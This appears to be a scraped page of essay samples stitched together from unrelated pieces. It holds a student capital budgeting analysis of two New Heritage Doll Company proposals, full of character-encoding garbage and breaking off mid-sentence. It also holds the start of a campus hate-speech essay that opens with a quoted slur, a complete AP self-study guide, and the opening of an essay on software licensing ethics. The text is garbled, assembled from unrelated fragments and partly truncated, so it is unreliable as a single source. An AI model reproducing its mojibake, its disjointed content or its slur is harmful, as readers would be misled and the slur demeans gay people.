¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦5 Recommendations†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 5 Appendix Appendix 1: calculation formulas, definitions and assumptions†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 6 Appendix 2: Exhibit 1 & 2†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã ¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 9Appendix 3: The NPV Profile†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 11 Executive Summary The production division at New Heritage Doll Company is considering between two business proposals to recommend at the firm’s upcoming capital budget meeting in October. In order to prioritize between the two projects, we needed to analyze both companies, quantitatively and qualitatively, to determine which proposal better suits NHDC’s goals. Using a qualitative analysis, we analyzed both Match My Doll clothing line and compared it to the Design Your Own Doll proposal.We found, after comparing the strengths and weaknesses of both proposals, that MMDC’s business case is more compelling. We then analyzed the financial aspect of both projects using the financial information given in the exhibit. In order to complete this analysis we began with a profitability analysis. First we computed the NPV, IRR and the profitability index in order to determine which of the projects would be more profitable. We found that although DYOD’s NPV was slightly higher, MMDC’s ratio’s seemed more compelling. We then moved on to a risk analysis, in order to compare the riskiness of the two projects.We found that not only is MMDC’s risk lower than that of DYOD, but its payback period was approximately 30% lower as well. Based on these analyses, we recommend that the company should choose the Match My Doll Clothing line expansion proposal. Introduction In this case study, two business proposals from the Production division of the New Heritage Doll Company (NHDC) are being considered for submission at the capital budgeting committee meetin g which makes decisions at the corporate level for all large spending proposals.The first proposal is to extend the company’s Match My Doll Clothing line, and the second is to develop a new Design Your Own Doll product. Emily Harris, vice president of NHDC’s production division, is weighing the two proposals. Due to constraints on financial and managerial resources, it is possible that the committee will decline to approve both projects as other divisions of the company such as licensing and retail are also presenting projects that may prove more attractive to the committee. Harris has to be prepared to recommend only one of the projects.In order to evaluate which of the projects Emily should promote, we look at the criteria of the committee. They will examine the proposed project for consistency with the company’s overall business strategy and they will see if the project balances the needs and priorities of each division against the practical, financial, and o rganizational constraints of the company. The committee will evaluate whether the proposed project will strengthen the entire company, not just the particular division. We would try to evaluate which of the proposals based on the projects' qualitative and quantitative analysis.We have used in our analysis both the figures that were supplied by the line managers, and further information that seem relevant from online researches we had conducted. Match My Doll Clothing This investment proposal is the expansion of the Match My Doll Clothing line (MMDC), an existing clothing line of matching doll and child clothing and accessories. The original line was a success, due to the strong identification that girls feel with their NH dolls. Due to the growing popularity of the line the line’s manager believe that the timing is right for expansion.The original line selected several items of New Heritage dolls’ fashions and produced identical items in girl’s sizes. However, t he number of items was limited. The proposed expansion would create an â€Å"All Seasons Collection† of apparel and gear covering all four season of the year. It would expand the number of matching doll and girl clothing items available One of the benefits of expanding the MMDC’ line is that the line has already demonstrated the commercial viability of the matching doll and child clothing model. The concept has a proven track record and now the company has only to further build on this successful model.Furthermore, the recent positive publicity engendered by the celebrity sightings, will create an even greater demand for the product, and will allow for the maintenance of premium pricing. We believe that the expanded line will be at least as profitable as the existing line. Another strength this project possesses is the project’s moderate risk , which is almost identical to that of MMDC’s existing business line. One of our concerns regarding the expansion of MMDC’s clothing line is the company’s inexperience within the clothing industry. NHDC will have to compete outside its current niche of dolls and accessories.The fickle nature of children’s fashion trends requires that the management keep up with current market trends, in order to maintain its premium pricing. Another concern we think is important to address is the expected lifetime of the project. Based on the risk that the company would not be able to stay up to date with the current trends and fashion we think that the life span of the projected CF may be somewhat optimistic, and might not reflect correctly the characters of this project. However, we do believe that for the sake of comparison this projection should be kept.Another concern that arises from the unexpectedness of children’s fashion trends is that the company may be faced with a very limited time frame in which it can make profitable investment decisions. One of the opportunities that a rise with the current proposal is the reduction in the seasonality of the company’s sales and earnings. The new line created an additional benefit of supplying clothing all year round, which in turn could provide the firm with a more stable revenue stream. By taking advantage of the â€Å"off peak discount† offered by some suppliers and anufacturers, the line manager expected to reduce the company’s seasonality which would create a more stable revenue stream for the firm. A threat which attributed to this proposal is its reliance on supposed discounts offered by suppliers and manufacturers. The failure of obtaining these discounts can cause an increase in costs, resulting in lower profitability. Capital expenditures in 2010 are predicted to be high since the project is during its first year of operation . In the following year they are still relatively high, but this can still be explained by it still being the beginning years of operation. 012-2013 have the low est Capital expenditure of all projected years; this could be explained by the high growth in revenues . It is important to note that these years are considered â€Å"day one†- since the product is new in the market, the market should embrace the product first and the depreciation is still on the lower numbers. From 2014 and onward, we see an increase in the firm’s Capital expenditure coupled with a constant growth . This might be due to maintaining the operation scope and compensating for the growth in depreciation (During year 2015 and onward). Design Your Own DollThe Design Your Own Doll (DYOD) project sets out to make dolls products more personal to customers, by creating dolls that can be designed to look like their owners. The new project was targeted to both new customers and loyal customers, who may already own a number of dolls, but are looking to add a unique addition to their collection. The strategy behind the project is that by becoming an active part of t he creation of the dolls the customers will become more loyal customers. The whole creation and participation will take part in a new section of New Heritage's website.We believes that because of all the new features, the experience and the uniqueness in this product, the customers would be willing to pay premium price. The fact that this project is web-based also enlarge the accessibility for customers, and by that enabling people that have hard time to approach an actual store to still purchase the company's product. On the other hand, there is a risk that the premium price, as discussed earlier, might narrow the audience since it approach higher socio economic level people. Due to the projects' unique the initial investing costs are higher, but so does the expected return .As a product which is â€Å"one of a kind† (â€Å"OOAK†), the production costs are going to be higher than usual (in particular fixed costs on a per unit basis, which come from low production runs and volume ), meaning that the payback period would be high. In addition, there are untested elements that need to be put into the manufacturing process, a risk that might cause future unexpected expenses. This project is considered to be a high risk project, due to the fact that it is completely new and contains (as mentioned) high costs of production.The initial equipment costs high (comparing to MMDC and) the time for it to be ready for production is going to be two years instead of 1 year in the MMDC proposal. Moreover, there is more equipment that shall be installed by the end of 2014 and that's why in the forecasts of DYOD (exhibit 2) there is a very high spike in the capital expenditures line. The good thing in purchasing this kind equipment is the option to pay custom equipment quarterly, so New Heritage can decide to pay everything in front, so it can get a sustainable discount.The projections for this project are based upon a near-flawless operation. Since this project wa s not tested and there is no experience with it, this may add to the riskiness of the project. New Heritage's website should be developed with the new software, which will take a year to write and test before starting with the sales. This is an explanation for the high initial R&D costs . Financial Comparison Net Present Value In order to evaluate both of the projects, we used the projections for MMDC and DYOD and calculated MMDC’s NPV to be slightly lower than that of DYOD.Our projections show that MMDC’s NPV is $7,150,070 , while DYOD’s is $7,298,100 . Due to the relatively small difference between the NPV’s we found, we believe that we should consider putting more emphasis on alternative factors when coming to a final decision. IRR Although we observed rather similar NPV’s, the two projects’ IRR are very different. Despite the slightly lower NPV, MMDC has an IRR of approximately 24%, compared to the 18% IRR of DYOD. This substantial diffe rence we’ve found can be explained by the significantly lower initial spending on capital by MMDC . Profitability indexUsing the Profitability index (PI) allows us to quantify the amount of value each project makes for every dollar invested. We calculated the Profitability ratios for both projects and found MMDC PI to be 2. 367, compared to 1. 17 of DYOD. After analyzing these results, it would seem that MMDC would generate a higher return on their investment. Risk analysis For MMDC, we took on the recommended moderate risk rate of 8. 4%. Based it is an already existing line that has no need for consumer acceptance, in addition to its proven ability to maintain premium prices, we decided that it was a logical assumption.For the DYOD, we assumed a high risk rate of 9%. After considering multiple factors, such as DYOD’s lengthy payback period , relatively high fixed costs and the use of new untested elements in the manufacturing process, a high discount rate is appropria te. Given these assumptions, we can see that MMDC is less risky than DYOD. Furthermore, we analyzed the NPV Profile and found that MMDC’s NPV is less sensitive to increases in the discount rate than DYOD. Another relevant figure we examined is the projects’ payback periods, which calculates the amount of time until a project’s initial investment is returned.According to our calculations, MMDC’s payback period is lower than that of DYOD . While MMDC will recuperate their initial investment in slightly over 7 years, it will take DYOD over 10 years to return their initial investment. Since the Payback period we calculated doesn’t take into account the time value of money, we calculated the Discounted Payback Period, and confirmed that here too, MMDC is faster at recuperating its initial investment . Profit Margin The average profit margin for the MMDC is 14. 9%, while for the DYOD it is 12. 55%. This suggests that MMDC is a more profitable company, an d may have better control over its costs than DYOD. Acid Test The result for the MMDC is 2. 43, while the result for DYOD is 2. 72. The significant of this is relating to the â€Å"worst case scenario† – what if the project would fail and the firm will need to get rid of it. Internal growth rate Even though we don't know how much of New Heritage's NI goes to dividends, we know that in both of the cases it will be the same and it would be

The Quarrel of Words essays

The Quarrel of Words essays Burn in hell you stupid faggot! Imagine someone shouting this at you. This is what is happening around campuses everywhere to people. This is Hate Speech. Hate Speech is any speech intended to hurt or discriminate against another person because of race, sex, religion, sexual orientation, national or ethnic origin, etc. Hate Speech is a very complicated matter. Some people believe speech codes violate the First Amendment, while others believe some speech is undeserving of the First Amendment. Campus guidelines and speech codes are also complicated matters, which will be discussed. A lot of people do not agree with campus guidelines or speech codes because they violate the First Amendment. Many people believe that if we are able to put regulations on speech on campus, then what is going to stop us from imposing those regulations elsewhere. People do not want to lose their rights of free speech. Author Henry Louis Gates Jr. speaks of this. He says, There is also a practical reason to worry about the impoverishment for the national discourse on free speech. If we keep losing the arguments, then we may slowly lose the liberties that they were meant to defend.(183) Gates is stating what could happen if we were to regulate and make restrictions. Retired Professor Franklyn S. Haiman is an avid supporter of the First. He states, First and foremost, suppressing the overt verbal or symbolic expression of group hatred does not make the attitudes that give rise to such expression go away. Most probably, the people who hold such attitu ...

How to Self-Study for AP Exams 7-Step Plan

How to Self-Study for AP Exams 7-Step Plan SAT / ACT Prep Online Guides and Tips AP self-study is when you study for an AP exam on your own and then take the AP test without taking the class. This is possible because the College Board does not actually require you to take the class associated with a given AP exam to take the test! You might be asking yourself: why do people self-study? Is self-studying right for me?Then, once you've decided to self-study, and you’ve chosen the AP exam you want to study for, you may find yourself wondering how to go about preparing for the test on your own. Where should you start? What do you need to cover? What materials should you use? Never fear, intrepid self-studiers! My seven-step approach to self-studying, from deciding if self-studying is right for you to taking the exam, will explain exactly how to self-study for an AP testand help you tackle the task ahead of you in a way that is manageable, makes sense, and prepares you for the exam. Onward and upwards! Step 1: Decide If Self-Studying Is Something You Should Do Before we get into how to self-study, make sure it's the right approach for you. You might self-study for a variety of reasons: your schedule doesn’t allow you to take an AP course when it’s offered at your school, your school doesn’t offer an AP course in a subject you want to study, you have a pre-existing knowledge base in a subject (like a foreign language you speak at home), and so on. Some students also self-study for an AP exam while they are taking the non-AP version of a course. For example, you might self-study for AP Biology while you are taking Honors Biology and just supplement what you learn in class with the extra material that’s covered on the AP exam. These are all valid reasons to self-study. When you do decide whether or not to self-study, you’ll need to consider how self-motivated you are, how much time you actually have to do extra studying outside of class, and how difficult the exam you want to take is. In general, you’ll want to self-study for an AP exam that is limited in scope, not too conceptual (so no Calculus!), and that you are interested in. Some popular self-study choices include AP Environmental Science, AP Human Geography, and AP Psychology. For further info on self-study, as well as a guide to deciding whether or not to self-study, you can see my introduction to AP self-study.To help you choose a self-study exam, you can also see my list of Best APs to Self-Study. Step 2: Figure Out What You Need to Learn I’m assuming you have a general idea of what your chosen self-study exam is about, or you wouldn’t have picked it. But you need more than that to prepare- you need specific, actionable knowledge on exactly what the test is going to cover. Exactly what you personally need to cover will depend a lot on where you are starting from. If you already have a basic proficiency in the skill or subject, you will not need to cover the material as comprehensively as you will if you are starting from scratch. Similarly, if you are going to self-study for an AP while you are in the Honors (or other non-AP) version of the class, you will only need to cover the material that won’t be taughtin the classroom. No matter your situation, though, you will need to compare what you know with what you are required to know for the exam. So you’ll need a complete list of all of the core competencies necessary for the AP test. For this, you will want to turn to your trusty College Board website.The first thing you’ll want to look at is the â€Å"AP Course and Exam Description† for the course you are self-studying. Find this document on the main course page which you can access from the College Board’s AP Student list of AP courses.This document will include a comprehensive description of the skills and content areas you need to know for the exam. (Note: for courses that haven’t been revised for a long time, the document will just be called â€Å"AP Course Description.†) Examine this document closely; take separate notes on what things you still need to learn based on the course description.If you have preexisting knowledge in the subject, you should also note content areas listed in the description that you already have a handle on and things that you sort of know but might be shaky on. If you are self-studying concurrently with a non-AP class, it will help you a lot to have a copy of the syllabus for your non-AP course. This will letyou see what the examcovers but your class doesn't,andthose are going to be the areas to focus on. You should also look at the teacher resources on the AP course audit page for the course you are self-studying. There, you’ll be able to look at sample syllabi for the course. This may help you clarify some of the competencies in the course description if you aren’t sure exactly what they mean. You can also see textbook recommendations from the College Board on this page. Essentially, you’ll use the College Board’s resources to develop your own document describing what you need to learn before the exam. It doesn’t quite have to be a syllabus, but that’s more or less how it will function for you- it will help you keep track of what you’ve learned and what you still need to cover. This can be a working document- if you realize during the course of your prep that there’s a topic area you missed, or one that doesn’t seem particularly relevant for the exam after all, feel free to change stuff around! This is just how you’ll establish a starting point for your preparation. On your mark, get set, prep! Step 3: Make a Schedule and Stick to It! Once you’ve gotten a working document of what you need to cover for the test, divide it up into a schedule. Again, some topics may end up taking you a little longer than you thought, and some may take less time. This is fine, just so long as you keep a steady pace and don’t fall way behind in your schedule. In addition to having an overall schedule - cover topic X for two weeks, Y for three weeks- make a schedule of when you are going to sit down and prepare every week. Having consistent times each week that you set aside for self-study prep will keep you on track and make it easier to get through the material. To that end, you may also want to decide on a specific place where you’re going to study: your kitchen table, the library, your grandma’s back porch- wherever, but a consistent place where you can work free of distractions will make preparation feel more routine and keep you motivated. Step 4: Find and Use a Variety of Study Resources Once you’ve drawn up a rough schedule, you’ll need to figure out how you’re going to learn the material: what resources will you use? I recommend using a variety of resources. Processing the information multiple ways and in multiple formats will help you retain it and keep the studying process interesting (well, as interesting as it can be). That said, do be aware of how you learn best- if you aren’t an auditory learner, for example, podcasts won’t be a particularly useful study tool for you. Here are four kinds of study resources you might consider. Textbooks A good textbook is, in truth, the most important item in your arsenal for most AP exams. It’s your one-stop learning shop that will help you learn the material, structure your preparation, and try outreview questions. So, it’s critical that you choose a good one (or good ones! There’s no rule that you can’t use more than one textbook to prepare). Here are some ideas for finding good textbooks: Check the College Board’s list of textbook recommendations onthe AP course audit page for your exam. If you’re self-studying for an AP course that is actually offered at your school, you might see what textbook is used for the course. Ask students what they think of it and if they find it helpful. Read reviews of any textbook you are thinking about purchasing (or getting from the library). Pay special attention to whether or not students felt it prepared them for the exam. You can also see our textbook recommendations for AP US History, AP Biology, AP Chemistry, and AP Psychology. Review Books A good review book is probably the second-most important resource a self-studier can have, after a good textbook. It isn’t necessarily the best way to learn the material in a comprehensive fashion, but a lucid, exam-focused prep book will help you review everything that’s most important to remember for the test. As the day of your exam draws closer, review books will help ensure all the knowledge you learned by self-studying stays in your head. To find a good prep book, read reviews! We have recommendations for AP US History, AP Biology, AP Human Geography, and AP Psychology, but you can also look on Amazon, College Confidential, and elsewhere for reviews. The Princeton Review and Barron’s are two generally well-regarded AP review book sources, but making sure you’re getting the best book for the specific course you are studying is important. Don't do this to your books if you got them from the library, please. Online Content Providers and MOOCs You will probably get the real meat of your self-study material from your trusty textbook(s) and review book(s), but there are other, supplemental resources that can help you learn and review AP concepts. Online lecture videos and MOOCs (Massive Open Online Courses) are an excellent example of a supplementary resource you might use for self-study. Massive Open Online Courses are online classes created by educational institutions to make their educational resources accessible to a broader audience. They generally involve lecture videos; some also have additional material like practice exercises and assessments. Many of them are free! You can use online lecture videos and MOOCs to learn all kinds of material. Some will have a more general, topical focus that is not AP-specific; others are specifically for learning AP material and review. Even AP-specific MOOCs are generally not accredited by the College Board (i.e. they do not have the College Board’s official seal of approval, like an AP class at your high school). This just means that you should stick to the most reputable providers and look for reviews from other self-studiers if you can find them. (You might try to College Confidential forums or the Reddit AP pages.) Some of the best online content and MOOC providers: Khan Academyoffers tons of free educational modules on a huge variety of topics covered by AP exams. In addition to awesome video lessons, they have helpful quizzes to check your skills. You can also find most of their videos on their YouTube channel. EdX, founded by Harvard and MIT, has tons of free MOOC modules applicable to the AP, including some specifically targeted to AP exams. Coursera also offers tons of relevant MOOCs from a variety of colleges and universities. Podcasts and YouTube Videos Podcasts and YouTube videos are another great supplemental resource for learning about specific topics and concepts. You can find channels on everything from WWII History to astronomy to foreign language learning- definitely poke around to see what might be useful! To give you a head-start, here are some helpful resources you might want to check out, sorted by topic: General (Little Bit of Everything) TedEd - a YouTube channel from the people who bring you Ted Talks. Videos on all kinds of subjects that could be useful for your AP exam. Science The Sci Show - This YouTube channel explains all kinds of scientific phenomena. Probably of specific interest to AP Bio self-studiers, as there are lots of explanations of biological processes (and answers to some very important questions, like whether or not you have to give up bacon.) The Naked Scientists - a podcast covering all kinds of science topics. Useful for self-studying any science AP. (But please don’t self-study AP chemistry or AP physics! I’m very serious! See my list of best AP classes to self-study if you don’t believe me). History Biography channel - Their YouTube channel offers tons of â€Å"mini-biography† videos for notable historical figures. A good way to learn some key points about the major players in your history textbook. APUSH review by Adam Norris - a YouTube channel about, you guessed it, reviewing AP US History. He also has videos on AP Government. The Podcast History of Our World - A podcast series focusing on world history. Most of the current episodes cover ancient history (so, periods 1 and 2 for the AP World History exam). The History Chicks - A podcast by women about notable women from history. Mostly Euro-centric. English Grammar Girl - A podcast with super-short episodes ongrammar and writing tips. If there’s a particular idiom or grammatical rule that trips you up, this is a great resource! Foreign Language Audiria - A podcast site specifically for Spanish-language learners. You can pick podcasts by difficulty level and topic. How cool is that? An early podcaster in his native element. Step 5: Take Notes and Self-Assess While you’re consuming all of your top-quality study resources- reading your textbook, watching your Khan Academy videos, perusing your review book- it’s very important that you interact with the material. That means take notes! I know; taking notes is boring and not fun. But you will use your self-study time more efficiently if you take good notes that you can refer back to later. This way, when it’s time to review everything you’ve learned, you’ll have an easy, comprehensive resource to look at. You don’t have to take regular outline-based notes if you don’t want to. You could draw out a mind map or make flashcards for the content you learn instead. (In fact, I highly recommend making flashcards at some point for content-heavy courses like AP Biology or the history APs.) The important thing is that you are making a record of the significant information as you learn it, to help you retain it and to help you review. On a similar note, it’s also important that you occasionally test yourself to make sure you are actually learning the material. Your trusty textbook probably has practice problems at the end of each chapter you can complete. As you learn more material, you’ll probably want to use AP practice tests to make sure you’re really getting at the essential knowledge for the test (see step sevenfor more on AP practice exams). Step 6: Register for the Test! This is an essential step that you will need to complete in early March. If your school offers AP courses, you’ll need to talk to your school’s AP exam coordinator (probably a guidance counselor) about ordering the exam for you. If your school doesn’t offer AP courses, you will need to call AP Services (domestic number 888-225-5427) by March 1 to get the information for schools in your area that will test outside students. You will then need to get in touch with the school the College Board directs you to by March 15. You can see complete instructions for registering for the test here, including registering for an exam your school doesn’t offer. Registering will set you back $92. If you qualify for financial assistance from the College Board, you’ll get a $30 discount. You should also remember to make arrangements with your regular teachers since you’ll be missing class the day of your exam. Not much else to say here except that if you forget to complete this step, all your prep time will be for naught! Step 7: Exam Prep and Review When the exam starts to draw closer- I would say around the midpoint of your designated study time- you’ll want to start reviewing material you already covered and prepping for the exam format. This is when you’ll want to bust out your notes/flashcards, your review book(s), and your practice tests. See my article on finding the best AP practice tests for tips on how to find top-quality practice resources. Practice AP tests will help familiarize you with the exam formatand let you know how to adjust your studying and what to focus on going forward. If you keep missing questions about the Enlightenment even though you already covered it, you’ll know to go back and review that some more. In terms of how many practice tests you should complete, that’s somewhat dependent on how much time you’ve allotted for self-study, but somewhere in the three-five rangewill work for most students. You may do more individual free-response or short-answer practice questions than that, but in terms of complete practice tests, three to five should be sufficient. You should plan to wrap up learning new content a few weeks to a month before the exam so you can dedicate the last few weeks solely to reviewing content and practicing. This will help you make sure that everything is polished and ready, and you aren’t scrambling to cram information on the Civil Rights Movement into your head the night before the test. Once you’re all prepped, all that’s left is to take the test! Be sure to do all the usual test-taking best practices like getting a good night’s sleep and packing everything you need the night before, and then go rock that thing! Rock it like this stack of rocks! Staying Motivated While Self-Studying Even with a solid study plan, it can be hard to stay motivated when you are taking on a pretty big project like studying for an AP exam on your own. So here are three tips for keeping on task when you self-study: #1: Build in Rewards If you can think of a reward to give yourself every time you complete a scheduled study session and for milestones in your self-studying process, you’ll have an easier time staying on track. Maybe you’ll watch an episode of your favorite show to close out every study session or bake cookies every time you finish out a topic area. The key is to save that reward for studying- so no binge-watching your show outside of study sessions or baking cookies for no reason! That way you’ll keep the reward tied to your progress. #2: Recruit a Study Buddy If you know someone else who is self-studying, study together! It doesn’t even have to be the same AP just so long as you are consistently meeting. This will help ensure that you show up for study sessions. Make a pact to help keep each other on track, though- don’t fall into thehabitof goofing off together during your study times instead! #3: Be Accountable to Someone Even if you don’t have a dedicated study buddy, you can still make yourself accountable to someone else- a parent, friend, or other trusted person in your life. Tell them your study schedule and ask them to help you enforce it. If you can get them to text or call you when it’s time for you to start studying and ask you about your progress throughout the year, it will help you keep on task. There’s nothing like knowing someone else expects you to get something done to help you push through! I'm accountable to this donut...for eating it. Key Takeaways You’ll find self-studying much easier if you’re armed with a plan. Here are my six steps to self-study success: Figure out what you need to learn. Make a schedule. Find a variety of high-quality materials. Take notes and self-assess as you learn. Register for the test. Prep for the exam and review what you’ve learned! Even with a plan, it can be hard to stay motivated. Some strategies that might work for you include: Reward yourself for getting work done. Find someone to study with! Be accountable to someone else. Now you know how to self-study for an AP exam. If you follow these steps and put in the work, you’ll be sure to hit your target score! What's Next? If you want to know all of your AP course and exam options, we have a complete list. Thinking about online AP courses as an alternative to self-study? See my introduction to online AP courses and reviews of the best online AP class options. Be sure to check out our guide to the redesigned SATto see what's been changed. You might also think about taking the ACT instead. Want to improve your SAT score by 160 points or your ACT score by 4 points?We've written a guide for each test about the top 5 strategies you must be using to have a shot at improving your score. Download it for free now:

Computer security Essay Example | Topics and Well Written Essays - 1500 words - 3

Computer security - Essay Example Software licensing refers to all legal measures that govern the dispersion of software. The licensing is undertaken to help protect and prevent the computers information and data from loss and fraud. Computer software licensing is essential in preventing the loss of data and thus should be an area of great concern. In addition, computer licensing is vital for the protection of others work from those who would want to benefit from it without undergoing the costs. Coming up with a software involves a lot to do with the brain, and it would be unfair if someone would just enjoy the use of such without paying for the same. Using this approach, we would say that computer licensing may or may not be antisocial. Software licensing is antisocial given the fact that it can terribly damage social cohesion. A proposal to permit only one individual or only a group to use the program, while locking out the others, is divisive and should be unacceptable in a social community (Stallman 2010). Software is used to share information among others, but if they are licensed, then only a few people can get the rights to use them. As a result, the licensing of this software prevents information sharing that is largely reclusive. Software engineers and developers are also of the idea that personalities that do not exist in their inner cycles ought not to benefit from their hard earned sweat, and this further divides the society (Stallman 2010). Therefore, computer licensing in the computer savvy world is not so conducive for the development of a social setting in as much as computers are necessary. Yes, it is ethical and widely acknowledged learning the solutions to computer problems. People should be trained and taught about the computer problems so as to know what it is they should anticipate when using the devices (Tompsett 2009). Similarly,